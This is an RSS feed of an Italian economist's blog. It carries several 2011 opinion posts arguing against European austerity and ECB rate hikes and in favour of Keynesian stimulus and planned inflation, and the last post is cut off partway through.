<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Pier Giorgio Gawronski &#187; Economia</title>
	<atom:link href="http://www.piergiorgiogawronski.com/tag/economia/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.piergiorgiogawronski.com</link>
	<description>il coraggio di cambiare</description>
	<lastBuildDate>Sun, 05 Feb 2012 20:15:54 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>I miei post sul Fatto Quotidiano</title>
		<link>http://www.piergiorgiogawronski.com/i-miei-post-sul-fatto-quotidiano/</link>
		<comments>http://www.piergiorgiogawronski.com/i-miei-post-sul-fatto-quotidiano/#comments</comments>
		<pubDate>Sun, 05 Feb 2012 20:02:29 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[democrazia]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1942</guid>
		<description><![CDATA[I post che ho scritto dal 26 Luglio in poi si trovano su Il Fatto Quotidiano on line. Non li replico qui per risparmiare tempo. Una volta alla settimana (più o meno) vado a &#8221;Italia sul Due&#8221; (RAI2, h14-15) condotto da Lorena Bianchini.  Se volete lasciare i vs commenti anche qui, li leggerò e vi risponderò.

                                                                                                   Lorena Bianchetti
]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">I post che ho scritto dal 26 Luglio in poi si trovano su <a href="http://www.ilfattoquotidiano.it/blog/pgawronski/page/3/">Il Fatto Quotidiano on line</a>. Non li replico qui per risparmiare tempo. Una volta alla settimana (più o meno) vado a &#8221;Italia sul Due&#8221; (RAI2, h14-15) condotto da Lorena Bianchini.  Se volete lasciare i vs commenti anche qui, li leggerò e vi risponderò.</p>
<p style="text-align: center;"><a href="http://www.piergiorgiogawronski.com/media/bianchetti1.jpg"><img class="size-full wp-image-1947  aligncenter" title="Lorena Bianchetti" src="http://www.piergiorgiogawronski.com/media/bianchetti1.jpg" alt="" width="250" height="400" /></a></p>
<p><em>                                                                                                   Lorena Bianchetti</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/i-miei-post-sul-fatto-quotidiano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mercati finanziari: chi fermerà la pioggia?</title>
		<link>http://www.piergiorgiogawronski.com/mercati-finanziari-chi-fermera-la-pioggia/</link>
		<comments>http://www.piergiorgiogawronski.com/mercati-finanziari-chi-fermera-la-pioggia/#comments</comments>
		<pubDate>Tue, 26 Jul 2011 19:49:19 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1936</guid>
		<description><![CDATA[ Il tempo che fa. Giovedì schiarita sui mercati: a Bruxelles hanno sistemato tutto. Venerdì, bel tempo, si va in alta quota: “Da oggi, trionfa l’estate!”, confermano autorevoli commentatori, non solo filogovernativi: anche di sinistra e di centro. Lunedì, Piove. Prossimi giorni: variabile, Tendenza: al peggioramento. ‘Chi fermerà la pioggia?’ chiedeva un vecchio ritornello dei Creedence.

]]></description>
			<content:encoded><![CDATA[<p> Il tempo che fa. Giovedì schiarita sui mercati: a Bruxelles hanno sistemato tutto. Venerdì, bel tempo, si va in alta quota: “Da oggi, trionfa l’estate!”, confermano autorevoli commentatori, non solo filogovernativi: anche di sinistra e di centro. Lunedì, Piove. Prossimi giorni: variabile, Tendenza: al peggioramento.</p>
<p> ‘Chi fermerà la pioggia?’ chiedeva un vecchio ritornello dei Creedence.</p>
<p>“Non spetta a me &#8211; dice Trichet – ho già acquistato titoli sui mercati”. “Non spetta a me &#8211; dice Barroso – ho già prodotto le nuove regole del Patto di Stabilità”. “Non spetta a me – dice Angela Merkel &#8211; ho già mandato aiuti alla Grecia”.</p>
<p>Refrain (in coro): “Mettete i conti in ordine!”.</p>
<p>“Fatto!”, dice Tremonti. “Fatto!”, dicono i portoghesi, gli irlandesi, gli spagnoli, ecc. ecc.: “Cavo signove, la mia manovva ha vicevuto lodi unanimi in Euvopa…”.</p>
<p>Ma ogni volta che fanno una manovra, succede il contrario di quanto previsto: salgono i tassi sul debito… la spesa per interessi… il deficit… E si ricomincia. Com’è possibile?</p>
<p>Sarà la logica puramente nazionale, del ‘caso per caso’, smentita dall’alto numero di paesi europei coinvolti. Sarà la logica puramente finanziaria: i risultati finanziari – anche di uno Stato – non sono la risultante delle tendenze economiche sottostanti? Sarà perché quando – nel migliore dei casi – si invoca la crescita, non si ha idea di come innescarla, nelle particolari circostanze in cui ci troviamo. Fatto sta che c’è qualcosa di profondamente malato nelle istituzioni europee e nei modelli economici in voga in alcuni ambienti.</p>
<p>Eppure l’attuale depressione economica e la grandinata che sta per arrivare non sono inevitabili. La crescita è possibile subito: tre settimane. Una crisi, com’è questa, da carenza di domanda – la gente ha paura del futuro e non spende abbastanza, le imprese non vendono abbastanza – è infinitamente più facile da risolvere di una crisi di offerta – hanno bombardato le fabbriche, siamo inefficienti, corrotti … – del sistema produttivo! Date più soldi alla gente (in difficoltà economica) e l’economia ripartirà. I soldi, si stampano.</p>
<p>Refrain (in coro): “Inflazione!” “Iper-inflazione!” “Tutelare i risparmi!” “Cultura della stabilità!” “Caro Gawronski, lei è un ingenuo!” “Populista!” “Se fosse così semplice, non ci avrebbero già pensato!?”</p>
<p>Mi viene in mente Palazzeschi:</p>
<p>Mamma mia! / E che poesia / volete che ci sia / dentro un negozio di pizzicheria! / Se aveste detto fiori, o seteria, / se aveste detto in quello di antichità, / certo lì ce ne sarà; / ma non in questo qui, / venite via, / per carità! / Mio caro, siatene persuaso, / per la fretta che avete di giungere alla mèta, / questa volta siete evaso / dal campo del poeta! / Non ce n’è, non ce n’è, restate franco!</p>
<p>Basta, miei cari, basta / Che ci vada il poeta, dietro al banco!</p>
<p>PS Per i link vedi <a href="http://www.ilfattoquotidiano.it/2011/07/26/mercati-finanziari-chi-fermera-la-pioggia/147732/">http://www.ilfattoquotidiano.it/2011/07/26/mercati-finanziari-chi-fermera-la-pioggia/147732/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/mercati-finanziari-chi-fermera-la-pioggia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cadono le braccia, cade l’economia</title>
		<link>http://www.piergiorgiogawronski.com/cadono-le-braccia-cade-l%e2%80%99economia/</link>
		<comments>http://www.piergiorgiogawronski.com/cadono-le-braccia-cade-l%e2%80%99economia/#comments</comments>
		<pubDate>Fri, 22 Jul 2011 00:36:10 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1932</guid>
		<description><![CDATA[Il senso delle decisioni prese a Bruxelles, sotto la guida di Francia e Germania, dai capi di governo europei, è una tardiva ma opportuna presa d’atto della realtà. I debiti degli Stati membri in difficoltà sono un po’ anche nostri. Per due motivi. Le nostre banche ci sono dentro fino al collo. Il fallimento di [...]]]></description>
			<content:encoded><![CDATA[<div>Il senso delle <a href="http://www.consilium.europa.eu/uedocs/cms_data/docs/pressdata/en/ec/123978.pdf" target="_blank">decisioni prese a Bruxelles</a>, sotto la guida di <strong>Francia</strong> e <strong>Germania</strong>, dai capi di governo europei, è una tardiva ma opportuna presa d’atto della realtà. I<strong> debiti degli Stati membri</strong> in difficoltà sono un po’ anche nostri. Per due motivi. <em>Le nostre banche ci sono dentro fino al collo. Il fallimento di Italia e Spagna ci travolgerebbe.</em> Pertanto:</div>
<ul>
<li>Alla Grecia vengono prestate nuove importanti risorse.</li>
<li>A Grecia, Irlanda e Portogallo vengono abbassati i tassi d’interesse (finalmente!) ed allungate le scadenze sui prestiti elargiti dal Fondo Europeo per la Stabilità.</li>
<li>Le banche che incautamente hanno finanziato in passato lo Stato greco devono prendere ‘volontariamente’ atto che non riavranno indietro tutti i loro soldi. La prossima volta, facciano meglio il loro lavoro.</li>
<li>Il Fondo Europeo per la stabilità potrà intervenire sui mercati secondari a sostegno dei titoli del debito pubblico di qualsiasi paese sotto attacco speculativo (anche l’Italia).</li>
</ul>
<p>Poiché il debito pubblico dei paesi a rischio viene in certa misura ‘garantito’ dalla Germania (anche se il comunicato dice che il caso della Grecia è eccezionale), vuol dire che da ora in poi conta meno di chi è il debito. Ed ecco, assistiamo al fenomeno della convergenza dei rendimenti dei titoli pubblici. <a href="http://www.bloomberg.com/apps/quote?ticker=GBTPGR10:IND" target="_blank">Scendono violentemente i tassi di paesi come l’Italia</a>, ma si <a href="http://www.bloomberg.com/apps/quote?ticker=GDBR10:IND" target="_blank">impennano quelli della Germania</a>. Ora si guarderà di più alla <a href="http://edition.cnn.com/2011/BUSINESS/06/19/europe.debt.explainer/index.html" target="_blank">sostenibilità del debito pubblico totale dell’Europa</a>: 80% del PIL nel 2010, cioè bene. Per questo, nell’insieme la spesa per interessi degli Stati europei scende, l’Armageddon si allontana, i mercati brindano, gli speculatori ‘ribassisti’ perdono soldi a favore dei ‘rialzisti’.</p>
<p>Fin qui tutto bene. Poi nel comunicato c’è questo paragrafo (<strong>e ti cadono le braccia</strong>).<br />
<em>“All euro area Member States will adhere strictly to the agreed fiscal targets, improve competitiveness and address macro-economic imbalances. Public deficits in all countries except those under a programme will be brought below 3% by 2013 at the latest”.</em></p>
<p>Traduzione:<br />
1) i paesi con alti debiti pubblici faranno una <strong>dura austerità</strong><br />
2) i paesi senza alti debiti pubblici faranno una <strong>dura austerità</strong><br />
3) la banca centrale <strong>sta alzando i tassi</strong> (frase scritta con inchiostro simpatico)<br />
4) ???<br />
5) Pertanto, la nostra strategia causerà <a href="http://krugman.blogs.nytimes.com/2011/07/21/1937-1937-1937/" target="_blank"><strong>un’accelerazione della crescita</strong></a></p>
<p>Oh, e nel paragrafo introduttivo si legge anche:<br />
<em>“We reaffirm our determination to reinforce convergence and competitiveness … in the euro area”.</em></p>
<p>Ovvero: la Germania continuerà a incrementare la sua competitività, invece di alzare i salari. I paesi rimasti indietro, come Spagna e Italia (dove un deficit commerciale del 3% del PIL sta causando la rapida caduta della ricchezza netta delle famiglie), dovranno ‘convergere’ sulla Germania, cioè … ridurre i salari.<br />
<a href="http://www.oecd.org/document/20/0,3746,en_21571361_44315115_48364756_1_1_1_1,00.html" target="_blank"><br />
Aspettatevi un’altra recessione.</a> Ma se possedete dei titoli pubblici, potete stare un po’ più tranquilli. E se siete degli speculatori, non disperate: l’instabilità finanziaria non svanirà.</p>
<p>Buone vacanze.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/cadono-le-braccia-cade-l%e2%80%99economia/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Gli economisti ci salveranno</title>
		<link>http://www.piergiorgiogawronski.com/gli-economisti-ci-salveranno/</link>
		<comments>http://www.piergiorgiogawronski.com/gli-economisti-ci-salveranno/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 07:08:43 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1918</guid>
		<description><![CDATA[Sul fallimento di un grande progetto culturale: il liberismo]]></description>
			<content:encoded><![CDATA[<p> </p>
<div id="testoarticolo"><img src="http://www.ilfattoquotidiano.it/wp-content/themes/ilfatto/phpThumb.php?src=/wp-content/uploads/2011/07/Tassi-debito-Irlanda.png&amp;w=295&amp;aoe=1&amp;q=90&amp;f=jpg&amp;far=1&amp;bg=FFFFFF" alt="" /></div>
<div id="attachment_145624"><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/Tassi-debito-Irlanda.png"></a>Tassi d’interesse sul debito irlandese a dieci anni, 2010-11</div>
<p style="text-align: justify;"> E’ buona norma, fra economisti, non darsi troppo addosso. Pena: la <strong>perdita di credibilità della scienza economica</strong>. Ma non si può tacere sul fatto che la crisi in cui versiamo è anche figlia del fallimento di un grande progetto culturale. I suoi epigoni, colleghi di chiara fama, girano in tondo, sperduti in un mondo che non riconoscono e che non credevano possibile: quello della grande depressione in stile anni ’30. E danno pessimi consigli.</p>
<p>Così <strong><a href="http://it.wikipedia.org/wiki/Alberto_Alesina" target="_blank">Alberto Alesina</a> </strong>e<strong> <a href="http://it.wikipedia.org/wiki/Francesco_Giavazzi" target="_blank">Francesco Giavazzi</a></strong>, oggi, sul <a href="http://www.corriere.it/editoriali/11_luglio_15/alesina_giavazzi_coltivare_illusioni_c5b18e94-aea7-11e0-82fd-68e04dbc5f96.shtml" target="_blank"><em>Corriere della Sera</em></a> . Due fra i più celebri economisti italiani. Il primo, due anni fa, se ne uscì con grande fanfara con un <em><a href="http://www.nber.org/papers/w15438" target="_blank">paper</a></em> in cui presentava alcuni casi di “austerità espansiva”. Più austerità uguale… più crescita: miracoli della “fiducia”! E’ la tesi cara al neoliberismo, analoga a <a href="http://rortybomb.wordpress.com/2011/07/07/why-is-the-obama-team-embracing-hooverism/" target="_blank">quella sostenuta da Hoover nel 1929-33</a>. Il paper <a href="http://www.newdeal20.org/wp-content/uploads/2010/12/a-world-upside-down" target="_blank">è stato smontato</a> in quattro e quattr’otto dall’<a href="http://www.cepr.net/index.php/publications/reports/the-myth-of-expansionary-fiscal-austerity" target="_blank">analisi econometrica</a>: nei casi citati, la crescita dipendeva da tutt’altri fattori; <a href="http://www.economist.com/node/17147618?story_id=17147618" target="_blank">l’austerità contribuiva semmai a ridurla</a>. Ma intanto la “ricetta Alesina” è stata tentata in Grecia, Irlanda, Portogallo: <strong>con esiti catastrofici</strong>.</p>
<p>Ora i due economisti sostengono, giustamente, che la <strong>manovra </strong>in discussione oggi al Parlamento non è sufficiente a stabilizzare i mercati. E che uno dei motivi è la mancanza di (prospettive di) crescita. (Come, come? L’austerità non doveva essere<em> “espansiva” </em>di per sé?). E allora, come sostenere la crescita? La ricetta è la solita: <em>“Le riforme strutturali… deregolamentazione di certe professioni, miglioramenti nel campo della giustizia civile e nei costi burocratici per le imprese”</em>.</p>
<p>Le riforme strutturali vanno benissimo, per carità: ci ho fatto sopra un’intera campagna elettorale (primarie Pd 2007). Ma (lo dicono i due colleghi) <em>“queste riforme strutturali non daranno risultati sullo sviluppo immediati”</em>. Dunque? Giavazzi e Alesina suggeriscono di riorganizzare i fattori di produzione in maniera più efficiente, per aumentare il potenziale produttivo del paese, quando questo servirà (il che avverrà quando saremo in piena occupazione, cioè fuori dai guai). Ottimo,<strong> se saremo ancora vivi</strong>. Ma ora, per affrontare i problemi attuali, non serve a niente. Perché l’attuale potenziale produttivo sarà anche modesto, ma è già largamente sottoutilizzato: non ci sono abbastanza clienti nei negozi. A cosa serve aumentare ancora la capacità produttiva? Dicono: <em>“l’effetto annuncio… può molto aiutare”</em>. Sì? <a href="http://www.indexmundi.com/g/g.aspx?c=ei&amp;v=66" target="_blank">Come in Irlanda</a>? Basta guardare il <strong><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/07/Tassi-debito-Irlanda.png" target="_blank">grafico</a></strong> dei tassi d’interesse sul debito irlandese a dieci anni (2010-11), in alto a sinistra.</p>
<p>Emerge qui, in tutta la sua gravità, il<strong> fallimento del progetto scientifico neoliberista</strong>, che ha largamente dominato le facoltà di economia negli ultimi trent’anni. Non solo la <em>deregulation</em> ha aperto le porte agli abusi finanziari e a un <em>remake</em> del 1929. È anche che, una volta entrati in depressione, non sanno più che pesci prendere. Hanno cancellato le teorie keynesiane, perché prevedevano la possibilità di una caduta non momentanea della domanda (<em>“l’offerta crea sempre la sua domanda!”</em>), e ora non sono attrezzati per suggerire misure di rilancio. Poveretti: vivono proprio… in un mondo sbagliato!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/gli-economisti-ci-salveranno/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Euro, il tempo è scaduto</title>
		<link>http://www.piergiorgiogawronski.com/euro-il-tempo-e-scaduto/</link>
		<comments>http://www.piergiorgiogawronski.com/euro-il-tempo-e-scaduto/#comments</comments>
		<pubDate>Fri, 08 Jul 2011 21:09:09 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1909</guid>
		<description><![CDATA[Ieri la Banca Centrale Europea ha alzato i tassi dall’1,25% all’1,5%. Oggi le borse e i titoli europei stanno cedendo, o addirittura crollando, come nel caso dell’Irlanda. Esiste una correlazione fra i due avvenimenti?]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;">Ieri la <strong>Banca Centrale Europea</strong> ha <strong>alzato i tassi dall’1,25% all’1,5%</strong>. Oggi le borse e i titoli europei stanno cedendo, o addirittura <strong>crollando</strong>, come nel caso <strong>dell’Irlanda</strong>. Esiste una correlazione fra i due avvenimenti? Ieri, il <a href="http://www.project-syndicate.org/commentary/stiglitz140/English" target="_blank">Nobel per l’economia <strong>Joseph Stiglitz</strong> </a>ha spiegato che sì: “<em>Solo pochi anni fa una potente ideologia </em>– <em>la fede nei mercati liberi e non regolati</em> –<em> ha portato il mondo sull’orlo del baratro… Speravo che la crisi avrebbe insegnato qualcosa…Tutt’altro! Il ritorno in auge delle teorie economiche della destra… minaccia ancora una volta l’economia globale… In Europa, mentre la Grecia ed altri paesi vanno in crisi, la </em>medicine du jour<em> è nuove dosi di austerità… che riducono la crescita e mettono in crisi i bilanci pubblici… [Perciò] crolla anche la fiducia: un circolo vizioso senza fine.</em>”</div>
<p>Portogallo (+1002bp), Italia (+236bp), e Irlanda (+1004bp), ma anche la Francia (+55bp) registrano oggi nuovi <strong><a href="http://www.ilfattoquotidiano.it/2011/07/08/spread-btp-italiani-bund-tedeschi-ai-massimi-storici-italia-sempre-piu-anello-debole-della-ue/143950/" target="_blank">record degli spread</a> </strong>(differenziali rispetto alla Germania) dei tassi d’interesse decennali che pagano sul debito pubblico; Spagna (272bp) e Belgio (123) sono vicinissimi ai massimi storici.</p>
<p>Per <strong>l’Italia</strong>, l’aumento degli spread da 150 a 235 in pochi mesi comporta, a regime, un <strong>aumento del deficit </strong>di 13 miliardi. Si tratta di <a href="http://dirittiglobali.it/home/categorie/18-lavoro-economia-a-finanza/17235-la-manovra-dei-rinvii-che-inquieta-i-mercati-.html" target="_blank">soldi buttati</a>, regalati ai mercati finanziari, che appesantiranno drammaticamente le future manovre. <strong>Ma preoccupa soprattutto il trend</strong>. Se i tassi salgono, è meno probabile che lo Stato italiano riesca ad azzerare il deficit, diventa più rischioso prestargli soldi, quindi i mercati richiedono tassi più alti… Questo circolo vizioso oltre una certa soglia non lo si ferma più. E la soglia può non essere lontana (300-500bp di spread?). Gli incendi vanno fermati subito.</p>
<p>Poiché la manovra da 40 miliardi bisogna farla, facciamola! A questo punto, renderà il doppio: per ogni euro di tasse addizionali che pagheremo, il nostro Stato risparmierà un euro sui mercati finanziari, che non dovremo pagare noi.</p>
<p>Ma il problema ha dimensioni europee. <a href="http://www.ilfattoquotidiano.it/2011/07/04/economisti-keynesiani-sveglia/139623/" target="_blank">Non vogliono dare una mano, espandere la moneta e abbassare i tassi?</a> Non vedono che c’è troppa pressione nel pentolone? Che il coperchio un po’ bisogna alzarlo? L’Italia è un paese troppo grande: <a href="http://economia.bloglive.it/eurogruppo-trova-accordo-su-fondo-di-stabilita-5095.html" target="_blank">se cede, salta il coperchio</a> e sono guai per tutti. E l’Italia, sui mercati, ha già cominciato a cedere. Se le cose vanno male, in Europa si scordino l’opzione greca,<strong> l’Italia in ginocchio</strong>, che “privatizza” (svende per due lire ai tedeschi) aziende pubbliche (magari anche qualche isola), che licenzia mezzo milione di impiegati pubblici e molti di più nel privato. A quel punto spero subentrerà un governo dignitoso che minaccerà di <strong>uscire dall’Euro</strong> (con conseguenze comunque durissime: zero illusioni!).</p>
<p>E allora? Forse sarà la Bce a piegarsi. Dovrà comprare titoli pubblici in grande quantità, cedendo in cambio moneta sonante. Allora sì che la moneta in giro sarà sufficiente per stimolare la crescita: anche quella dei prezzi. E’ la via neoliberista all’<strong>inflazione</strong>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/euro-il-tempo-e-scaduto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Economisti Keynesiani: sveglia!</title>
		<link>http://www.piergiorgiogawronski.com/economisti-keynesiani-sveglia/</link>
		<comments>http://www.piergiorgiogawronski.com/economisti-keynesiani-sveglia/#comments</comments>
		<pubDate>Mon, 04 Jul 2011 20:51:30 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1894</guid>
		<description><![CDATA[L’Europa è costruita per impedire inflazione e debiti. Ma le sue istituzioni non sono in grado di reagire in modo opposto nel momento in cui la situazione si è rovesciata.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">La crisi globale è stata contenuta ovunque, tranne che in Europa. Qui c’è la <a href="http://epp.eurostat.ec.europa.eu/cache/ITY_PUBLIC/3-01072011-AP/EN/3-01072011-AP-EN.PDF" target="_blank"><strong>disoccupazione più alta del mondo</strong></a>, la crescita più bassa del mondo, ed alcuni <strong>Stati (PIGS) </strong>in crisi di competitività e a rischio di crash finanziario. Questi semplici <strong>fatti dimostrano il fallimento delle politiche europee</strong>. In questo quadro, sorprende il silenzio degli economisti keynesiani: stenta ad emergere una linea di politica economica veramente alternativa; mentre l’offerta politica oscilla fra due opposti estremismi: il neoliberismo e l’anti-capitalismo.</p>
<p>Si consideri la situazione dei bilanci pubblici. Nel 2005, su istigazione dell’Italia, <strong>Angela Merkel e Sarkozy </strong>– in piena ‘<em>deregulation</em>’ e bolla speculativa – annacquarono fortemente <strong>il Patto di Stabilità</strong>. Gli stessi leader – ora che l’economia europea ha bisogno di aiuto – spingono per dosi crescenti di austerità <em>in tutta Europa</em>. Eppure, la madre di tutti i problemi, oggi, è <a href="http://www.ilfattoquotidiano.it/2011/06/15/l%e2%80%99europa-soffocata-dal-monetarismo/118327/" target="_blank"><strong>l’insufficienza della domanda</strong></a>. Se Keynes fosse vivo, suggerirebbe una manovra opposta: più austerità prima della crisi, meno austerità oggi, ad eccezione che nei paesi ad alto debito.</p>
<p>Le politiche di austerità nei paesi con alto debito aggravano la depressione della domanda interna, e generano la <strong>spirale negativa osservata in Grecia, Irlanda, Portogallo</strong>, e che lambisce il nostro paese. Il governatore della <strong>Banca Centrale Europea</strong>, <strong>Trichet</strong>, ha molto insistito sull’idea che l’austerità “rafforza la fiducia del settore privato”, e per questa via “i consumi e gli investimenti”. Purtroppo, questa teoria non funziona. Al contrario, la crisi greca si trascina, e il conto diventa più salato (più stremata la Grecia, meno potrà restituire ai suoi creditori). In Irlanda, addirittura, i mercati hanno spinto i tassi d’interesse alle stelle nel 2010 <em>dopo</em> l’avvio del programma di austerità, man mano che le sue conseguenze si manifestavano. Sull’Italia incombe una manovra da 45 miliardi che rischia di provocare una nuova disastrosa recessione; ma anche <em>non fare</em> la manovra ci trascinerebbe nel vortice greco.</p>
<p>La politica economica nei paesi in crisi si trova di fronte a <strong>un ‘trilemma’</strong>. Deve favorire al tempo stesso: 1) la riduzione dei <strong>debiti</strong> pubblici; 2) la <strong>crescita</strong> dei redditi (e base imponibile); 3) il recupero di <strong>competitività</strong>. Ma il neo-liberismo non è in grado di risolvere il trilemma: 1) i tagli alla spesa pubblica riducono crescita ed entrate fiscali; 2) le ‘riforme strutturali’ non hanno alcun effetto sulla domanda; 3) il taglio dei salari – raccomandato per recuperare competitività – accresce il peso reale dei debiti. <strong>L’intera Europa è costruita per impedire inflazione e debiti. Ma le sue istituzioni non sono in grado di reagire in modo opposto nel momento in cui la situazione si è rovesciata</strong>.</p>
<p>La crisi Europea si trascinerà penosamente, per anni, se la Banca centrale non sposa una linea di <strong>politica monetaria keynesiana eterodossa</strong>. Oggi, sta alzando i tassi per combattere un nemico che non c’è: l’inflazione <em>core</em> è sotto al 2%! Solo in un ambiente europeo caratterizzato dalla reflazione i PIIGS possono risolvere il trilemma della politica economica e sfuggire al ‘<strong>vortice greco</strong>’. La strategia si chiama <em>Quantitative easing</em> e <em>Inflazione programmata</em>. Parole che, purtroppo, suonano anatema alle orecchie dei sacerdoti dell’ortodossia.</p>
<div style="text-align: justify;"><strong>Un tasso d’inflazione programmato</strong> per quattro anni (2013-2016) al 3,5% in Europa (4,5% in Germania, 1% nei PIGS), <strong>e tassi d’interesse fermi all’1%, consentirebbero</strong>: 1) A tutta la struttura dei tassi di posizionarsi su livelli reali negativi, stimolando la domanda interna ed estera e l’occupazione. 2) Ai PIIGS <strong>di recuperare competitività</strong> senza cadere in deflazione. 3) <strong>Meno austerità</strong>, grazie alla riduzione del valore reale dei debiti pubblici e a maggiori entrate fiscali. Auspico anzi che la Banca centrale ‘bruci’ una piccola parte dei titoli pubblici da essa detenuti, finanziando implicitamente i governi, e sottolineando l’impegno solenne ad alzare temporaneamente il tasso di inflazione. 4) Alla Germania di alzare i salari reali, e di godersi il frutto della sua coerenza in un quadro di stabilità del sistema bancario. Su queste basi, è possibile che l’austerità dei PIIGS abbia successo.</div>
<div style="text-align: justify;"><span style="color: #ffffff;">.</span></div>
<p> Naturalmente, le politiche suggerite <strong>sposterebbero il peso dei sacrifici dai lavoratori alle rendite</strong>. Naturalmente, la Germania ha paura dell’inflazione. E la Bce sembra fare di tutto per destabilizzare l’economia europea: è sempre possibile proporre una modifica del suo Statuto, che affidi al Parlamento Europeo, in certi casi, e con maggioranze qualificate e crescenti, il compito di indicare l’obiettivo d’inflazione (modello UK). Ma poiché <strong>i costi delle politiche suggerite sarebbero molto inferiori</strong> <strong>rispetto ai disastri attuali</strong>, confido che alla fine le proposte keynesiane possano essere accettate anche sul piano politico. La periferia dell’Europa è inchiodata ad una croce di ortodossia monetaria; ma le conseguenze sono nefaste per tutti. È ora di cambiare strada.</p>
<p>Ps. Questo post riprende temi già sviluppati <a href="http://www.lastampa.it/_web/cmstp/tmplRubriche/editoriali/gEditoriali.asp?ID_blog=25&amp;ID_articolo=8931">su ‘La Stampa’ assieme a Giorgio La Malfa</a>. Gli errori, dunque, sono miei, mentre i concetti migliori li condivido con il mio co-autore.</p>
<p><em><br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.piergiorgiogawronski.com/economisti-keynesiani-sveglia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>L’Europa soffocata dal monetarismo</title>
		<link>http://www.piergiorgiogawronski.com/l%e2%80%99europa-soffocata-dal-monetarismo/</link>
		<comments>http://www.piergiorgiogawronski.com/l%e2%80%99europa-soffocata-dal-monetarismo/#comments</comments>
		<pubDate>Wed, 15 Jun 2011 20:44:32 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Economia]]></category>

		<guid isPermaLink="false">http://www.piergiorgiogawronski.com/?p=1888</guid>
		<description><![CDATA[Concorso per i lettori: a voi la guida della politica economica. E non si tratta di un regalo
]]></description>
			<content:encoded><![CDATA[<div><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/06/Tassi-di-disoccupazione.jpg"></a></div>
<p style="text-align: center;"><img src="http://www.ilfattoquotidiano.it/wp-content/themes/ilfatto/phpThumb.php?src=/wp-content/uploads/2011/06/Tassi-di-disoccupazione-300x169.jpg&amp;w=295&amp;aoe=1&amp;q=90&amp;f=jpg&amp;far=1&amp;bg=FFFFFF" alt="" /></p>
<p> </p>
<p>A che punto siamo con l’economia? <strong>La ripresa mondiale</strong> procede a macchia di leopardo. Nei paesi in via di sviluppo, la crescita è al 7% (2010), nei paesi sviluppati al 3%, in Europa all’1,8%, in Italia all’1,2%.</p>
<p>In <strong>Europa</strong>, secondo gli indicatori <em>forward looking</em> (basati su valori futuri attesi) la crescita nel 2011 sarà intorno al 2%. Molto meno di quanto sarebbe necessario per riassorbire i 22,5 milioni di disoccupati nei 27 paesi dell’Unione in tempi ragionevoli (pochi anni). Questo perché la popolazione aumenta e il progresso tecnologico riduce i posti di lavoro a parità di Pil; infine, il dato sulla disoccupazione non tiene conto degli “scoraggiati” che hanno smesso di cercare lavoro con assiduità. A differenza che nelle altre aree sviluppate, in Europa – specie la zona dell’Euro, linea verde nel <strong><a href="http://st.ilfattoquotidiano.it/wp-content/uploads/2011/06/Tassi-di-disoccupazione.jpg" target="_blank">grafico visibile qui</a></strong> – l’occupazione non dà segni di ripresa.</p>
